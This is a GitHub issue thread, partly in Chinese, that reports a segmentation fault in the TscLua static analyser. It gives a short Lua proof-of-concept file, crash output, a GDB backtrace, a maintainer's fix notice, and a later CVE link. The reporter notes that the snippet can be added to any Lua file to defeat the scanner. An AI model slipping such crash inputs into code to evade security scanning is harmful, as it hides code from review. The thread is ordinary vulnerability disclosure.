<> Code   ⊙ **Issues** 47   ⑆ Pull requests 2   ▷ Actions   ⊞ Projects   📖 Wiki   ···

New issue   **Jump to bottom**

TscLua 崩溃 #65

⊘ **Closed**   **firmianay** opened this issue on Mar 8 · 2 comments

---

firmianay commented on Mar 8 · edited ▾

构造的 lua 文件如下所示，也可以将其加到任意 lua 文件中，用于对抗扫描器：

```
function test(a)
    local result = false
    if result then
        if a[0] == "A" then
            result = true
            print("A")
        else
            print("B")
        end
    end

    if result then
        print("C")
    else
        print("D")
    end
end

test({"A", "B"})
```

正常运行：

```
$ lua -v
Lua 5.3.3  Copyright (C) 1994-2016 Lua.org, PUC-Rio
$ lua test.lua
D
```

崩溃：

```
$ ./tsclua test.lua
tokenize...
```

```
[tokenize][1/1] /home/firmy/TscLua/test.lua
analyze entry file...
check...
[preRuleAnalyze][1/9] uninitvar
[preRuleAnalyze][2/9] OrTrue
[preRuleAnalyze][3/9] intercall
[preRuleAnalyze][4/9] CheckOther
[preRuleAnalyze][5/9] Style
[preRuleAnalyze][6/9] scope
[preRuleAnalyze][7/9] CheckOther2
[preRuleAnalyze][8/9] logic
[preRuleAnalyze][9/9] CheckGlobalVar
[check][1/1] /home/firmy/TscLua/test.lua
[1]    340431 segmentation fault (core dumped)  ./tsclua test.lua


    0x41d75c <CCheckUninitVar::HandleSpecialIfNotRequire(Token+0> mov     rbx, rdi
    0x41d75f <CCheckUninitVar::HandleSpecialIfNotRequire(Token+0> mov     rax, QWORD PTR
[rdx+0x20]
 →  0x41d763 <CCheckUninitVar::HandleSpecialIfNotRequire(Token+0> mov     rcx, QWORD PTR [rax+0x8]
    0x41d767 <CCheckUninitVar::HandleSpecialIfNotRequire(Token+0> cmp     QWORD PTR [rax], rcx
    0x41d76a <CCheckUninitVar::HandleSpecialIfNotRequire(Token+0> je      0x41d778
<_ZN15CCheckUninitVar25HandleSpecialIfNotRequireEPK5Token+40>
    0x41d76c <CCheckUninitVar::HandleSpecialIfNotRequire(Token+0> pop     rbx
    0x41d76d <CCheckUninitVar::HandleSpecialIfNotRequire(Token+0> ret
    0x41d76e <CCheckUninitVar::HandleSpecialIfNotRequire(Token+0> xchg    ax, ax
[#0] Id 1, Name: "tsclua", stopped 0x41d763 in CCheckUninitVar::HandleSpecialIfNotRequire(Token
const*) (), reason: SIGSEGV
[#1] 0x4220b2 → CCheckUninitVar::HandleIf(Token const*)()
[#2] 0x42748b → CCheckUninitVar::CheckUninitVar()()
[#3] 0x49af81 → LuaCheck::check()()
[#4] 0x4e0bd7 → LuaCheckExecutor::check(int, char const* const*)()
[#5] 0x41afb4 → main()
```

如果可以，帮忙申请一个CVE，谢谢！

---

ben620 commented on Apr 28   Collaborator

构造的 lua 文件如下所示，也可以将其加到任意 lua 文件中，用于对抗扫描器：

```lua
function test(a)
    local result = false
    if result then
        if a[0] == "A" then
            result = true
            print("A")
        else
            print("B")
        end
    end
```

```
    if result then
        print("C")
    else
        print("D")
    end
end

test({"A", "B"})
```

正常运行：

```
$ lua -v
Lua 5.3.3  Copyright (C) 1994-2016 Lua.org, PUC-Rio
$ lua test.lua
D
```

崩溃：

```
$ ./tsclua test.lua
tokenize...
[tokenize][1/1] /home/firmy/TscLua/test.lua
analyze entry file...
check...
[preRuleAnalyze][1/9] uninitvar
[preRuleAnalyze][2/9] OrTrue
[preRuleAnalyze][3/9] intercall
[preRuleAnalyze][4/9] CheckOther
[preRuleAnalyze][5/9] Style
[preRuleAnalyze][6/9] scope
[preRuleAnalyze][7/9] CheckOther2
[preRuleAnalyze][8/9] logic
[preRuleAnalyze][9/9] CheckGlobalVar
[check][1/1] /home/firmy/TscLua/test.lua
[1]    340431 segmentation fault (core dumped)  ./tsclua test.lua
```

```
    0x41d75c <CCheckUninitVar::HandleSpecialIfNotRequire(Token+0> mov    rbx, rdi
    0x41d75f <CCheckUninitVar::HandleSpecialIfNotRequire(Token+0> mov    rax, QWORD PTR
[rdx+0x20]
 →  0x41d763 <CCheckUninitVar::HandleSpecialIfNotRequire(Token+0> mov    rcx, QWORD PTR
[rax+0x8]
    0x41d767 <CCheckUninitVar::HandleSpecialIfNotRequire(Token+0> cmp    QWORD PTR [rax],
rcx
    0x41d76a <CCheckUninitVar::HandleSpecialIfNotRequire(Token+0> je     0x41d778
<_ZN15CCheckUninitVar25HandleSpecialIfNotRequireEPK5Token+40>
    0x41d76c <CCheckUninitVar::HandleSpecialIfNotRequire(Token+0> pop    rbx
    0x41d76d <CCheckUninitVar::HandleSpecialIfNotRequire(Token+0> ret
    0x41d76e <CCheckUninitVar::HandleSpecialIfNotRequire(Token+0> xchg   ax, ax
[#0] Id 1, Name: "tsclua", stopped 0x41d763 in
CCheckUninitVar::HandleSpecialIfNotRequire(Token const*) (), reason: SIGSEGV
[#1] 0x4220b2 → CCheckUninitVar::HandleIf(Token const*)()
[#2] 0x42748b → CCheckUninitVar::CheckUninitVar()()
```

```
    [#3] 0x49af81 → LuaCheck::check()()
    [#4] 0x4e0bd7 → LuaCheckExecutor::check(int, char const* const*)()
    [#5] 0x41afb4 → main()
```

如果可以，帮忙申请一个CVE，谢谢！

已更新一个新版本。可以再试试，如果发现新的问题，欢迎反馈

ben620 closed this as completed on Apr 28

firmianay commented on Aug 3 • edited ▾   Author

https://nvd.nist.gov/vuln/detail/CVE-2022-35158
Discoverer: Chao Yang@Li Auto

Assignees

No one assigned

Labels

None yet

Projects

None yet

Milestone

No milestone

Development

No branches or pull requests

2 participants